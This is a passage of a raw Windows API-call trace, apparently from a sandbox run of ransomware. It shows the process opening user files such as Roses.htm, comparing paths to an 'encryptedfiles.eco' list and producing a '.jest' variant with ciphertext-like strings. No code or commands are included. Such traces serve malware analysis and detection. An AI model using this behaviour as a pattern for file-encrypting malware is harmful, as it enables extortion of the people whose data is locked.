lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.357] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.357] GetTickCount () returned 0x1150c41 [0120.357] IsWindowVisible (hWnd=0x30268) returned 0 [0120.357] Sleep (dwMilliseconds=0x0) [0120.357] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.357] GetTickCount () returned 0x1150c41 [0120.357] GetTickCount () returned 0x1150c41 [0120.357] GetTickCount () returned 0x1150c41 [0120.357] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.357] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.357] GetTickCount () returned 0x1150c41 [0120.358] IsWindowVisible (hWnd=0x30268) returned 0 [0120.358] Sleep (dwMilliseconds=0x0) [0120.358] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.358] GetTickCount () returned 0x1150c41 [0120.358] GetTickCount () returned 0x1150c41 [0120.358] GetTickCount () returned 0x1150c41 [0120.358] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.358] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.358] GetTickCount () returned 0x1150c41 [0120.358] IsWindowVisible (hWnd=0x30268) returned 0 [0120.358] Sleep (dwMilliseconds=0x0) [0120.358] PeekMessageA (in: lpMsg=0x18e960, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e960) returned 0 [0120.358] GetTickCount () returned 0x1150c41 [0120.358] GetTickCount () returned 0x1150c41 [0120.358] GetTickCount () returned 0x1150c41 [0120.358] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.358] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.358] GetTickCount () returned 0x1150c41 [0120.359] IsWindowVisible (hWnd=0x30268) returned 0 [0120.359] Sleep (dwMilliseconds=0x0) [0120.359] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm.jest", cchWideChar=-1, lpMultiByteStr=0x18e878, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm.jest", lpUsedDefaultChar=0x0) returned 93 [0120.359] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm.jest", lpFilePart=0x18e870*="Roses.htm.jest") returned 0x5c [0120.359] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm.jest", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned 1 [0120.359] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm.jest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x18e968, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2c4 [0120.360] GetFileType (hFile=0x2c4) returned 0x1 [0120.360] IMalloc:Alloc (This=0x767666bc, cb=0x99) returned 0x145ef30 [0120.360] GetUserDefaultLCID () returned 0x409 [0120.361] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x18ea2c, cchData=6 | out: lpLCData="1252") returned 5 [0120.361] SysStringLen (param_1="JEST!.") returned 0x6 [0120.361] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="JEST!.", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0120.361] SysStringLen (param_1="JEST!.") returned 0x6 [0120.361] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="JEST!.", cchWideChar=7, lpMultiByteStr=0x1436794, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JEST!.", lpUsedDefaultChar=0x0) returned 7 [0120.361] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18ea3c | out: ppsaOut=0x18ea3c) returned 0x0 [0120.362] SafeArrayDestroyDescriptor (psa=0x14da520) returned 0x0 [0120.362] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0120.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", lpUsedDefaultChar=0x0) returned 88 [0120.363] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", lpFilePart=0x18e6d8*="Roses.htm") returned 0x57 [0120.363] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f3aae0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce12fdf6, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x44, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 0x143ce48 [0120.363] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0120.363] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7ec, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0120.363] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", lpFilePart=0x18e780*="Roses.htm") returned 0x57 [0120.363] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned 1 [0120.363] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2c4 [0120.364] GetFileType (hFile=0x2c4) returned 0x1 [0120.364] IMalloc:Alloc (This=0x767666bc, cb=0x94) returned 0x1448c00 [0120.364] SetErrorMode (uMode=0x8001) returned 0x8001 [0120.364] LoadLibraryA (lpLibFileName="kernel32") returned 0x76d30000 [0120.364] SetErrorMode (uMode=0x8001) returned 0x8001 [0120.364] GetProcAddress (hModule=0x76d30000, lpProcName="FlushFileBuffers") returned 0x76d4469b [0120.364] FlushFileBuffers (hFile=0x2) returned 0 [0120.365] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", lpFilePart=0x18e780*="Roses.htm") returned 0x57 [0120.365] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned 1 [0120.365] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2c4 [0120.365] GetFileType (hFile=0x2c4) returned 0x1 [0120.365] IMalloc:Alloc (This=0x767666bc, cb=0x94) returned 0x1448c00 [0120.365] FlushFileBuffers (hFile=0x2) returned 0 [0120.365] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0120.366] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x25)) [0120.368] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0x9, wMilliseconds=0x25)) [0120.368] GetUserDefaultLCID () returned 0x409 [0120.369] VarBstrFromR4 (in: fltIn=0x47944285, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75909.04") returned 0x0 [0120.369] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x142fffc, cchWideChar=1 | out: lpWideCharStr="‡") returned 1 [0120.369] VarCat (in: pvarLeft=0x18eab4, pvarRight=0x18eac4, pvarResult=0x18eaa4 | out: pvarResult=0x18eaa4) returned 0x0 [0120.369] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18ea28 | out: ppsaOut=0x18ea28) returned 0x0 [0120.369] GetUserDefaultLCID () returned 0x409 [0120.369] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x18e9b8, cchData=6 | out: lpLCData="1252") returned 5 [0120.369] SysStringByteLen (bstr="룭醓䓴红抴ꍑ픆횹맂ꈂ劢残㊾⣓됚쎯᭥랻␽ꡜ푽㾯嵆ᤛബ劏伤쯮Ɪꣽ索቗鉹옐ࡖ糤ꛘ琅ꚼ뙀쾟뿀쏏祫嵇柨㍏읦鵫鄰季蹑?撇ྊ∈熔ﴆ漣Ꭰ绎履濝ኍ땝䮰냽᥵䱥⼸㤜珀乱븱੐鮺᷒␵鐮诌즅控ꂘ㘸卐謥ৼ㵪貸뿄琵얪᭝ጉⲴ偰ᱰ鯚ꓝ赵淹흮둧⌣鞽ᜏ澡䩧敚") returned 0xea [0120.369] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=234, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 234 [0120.369] SysStringByteLen (bstr="룭醓䓴红抴ꍑ픆횹맂ꈂ劢残㊾⣓됚쎯᭥랻␽ꡜ푽㾯嵆ᤛബ劏伤쯮Ɪꣽ索቗鉹옐ࡖ糤ꛘ琅ꚼ뙀쾟뿀쏏祫嵇柨㍏읦鵫鄰季蹑?撇ྊ∈熔ﴆ漣Ꭰ绎履濝ኍ땝䮰냽᥵䱥⼸㤜珀乱븱੐鮺᷒␵鐮诌즅控ꂘ㘸卐謥ৼ㵪貸뿄琵얪᭝ጉⲴ偰ᱰ鯚ꓝ赵淹흮둧⌣鞽ᜏ澡䩧敚") returned 0xea [0120.370] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=235, lpWideCharStr=0x14c0f54, cchWideChar=469 | out: lpWideCharStr="í¸“‘ôD¢~´bQ£\x06Õ¹Ö¹\x02¢@ç¢R‹k¾2Ó(\x1a´¯Ã\x11äe\x1b»·=$\\¨}Ô¾î¯?F]\x1b\x19,\r\x8fR$OîË®§ý¨jùW\x12y’\x10ÆV\x08ä|ئ\x05t¼¦@¶ŸÏÀ¿ÏÃkyG]ègO3fÇ]åk\x9d0‘c[QŽ¼Øxõ‡dŠ\x0f\x08\"”q\x06ý’ù0í \x13Î~ãòßùÝo\x8d\x12]µ°Ký°u\x19eL8/\x1c9ÀsqN1¾P\nº›Ò\x1d5$.”Ì‹…ɧc˜ ¤ç86PS%‹ü\x09j=¸ŒÄ¿5tªÅ]\x1b\x09\x13´,pPp\x1cڛݤu\x8dùmn×g´##½—\x0f\x17¡ogJZe") returned 235 [0120.370] SafeArrayDestroyDescriptor (psa=0x14da4c0) returned 0x0 [0120.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", cchWideChar=-1, lpMultiByteStr=0x18e788, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", lpUsedDefaultChar=0x0) returned 88 [0120.370] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", lpFilePart=0x18e780*="Roses.htm") returned 0x57 [0120.370] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned 1 [0120.370] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2c4 [0120.370] GetFileType (hFile=0x2c4) returned 0x1 [0120.370] IMalloc:Alloc (This=0x767666bc, cb=0x94) returned 0x1448c00 [0120.370] FlushFileBuffers (hFile=0x2) returned 0 [0120.370] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0120.370] GetTickCount () returned 0x1150c51 [0120.371] GetTickCount () returned 0x1150c51 [0120.371] GetTickCount () returned 0x1150c51 [0120.371] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.371] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.371] GetTickCount () returned 0x1150c51 [0120.371] IsWindowVisible (hWnd=0x30268) returned 0 [0120.371] Sleep (dwMilliseconds=0x0) [0120.371] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.371] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.371] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.371] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.371] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.372] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.372] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.372] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.372] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.372] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.372] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.372] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.372] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.372] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.372] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.372] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.372] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.372] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.372] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.373] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.373] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.373] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.373] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.373] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.373] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.373] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.373] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.373] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.373] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.373] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.373] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.373] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.373] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.374] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.374] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.374] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.374] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.374] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.374] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.374] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.374] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.374] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.374] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.374] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.374] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.374] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.374] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.375] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.375] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.375] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.375] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.375] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.375] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.375] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.375] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.375] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.375] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.375] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.376] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.376] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.376] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.376] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.376] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.376] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.376] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.376] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.376] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.376] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.376] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.376] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.376] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.376] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.377] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.377] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.377] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.377] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.377] VarCat (in: pvarLeft=0x18e9bc, 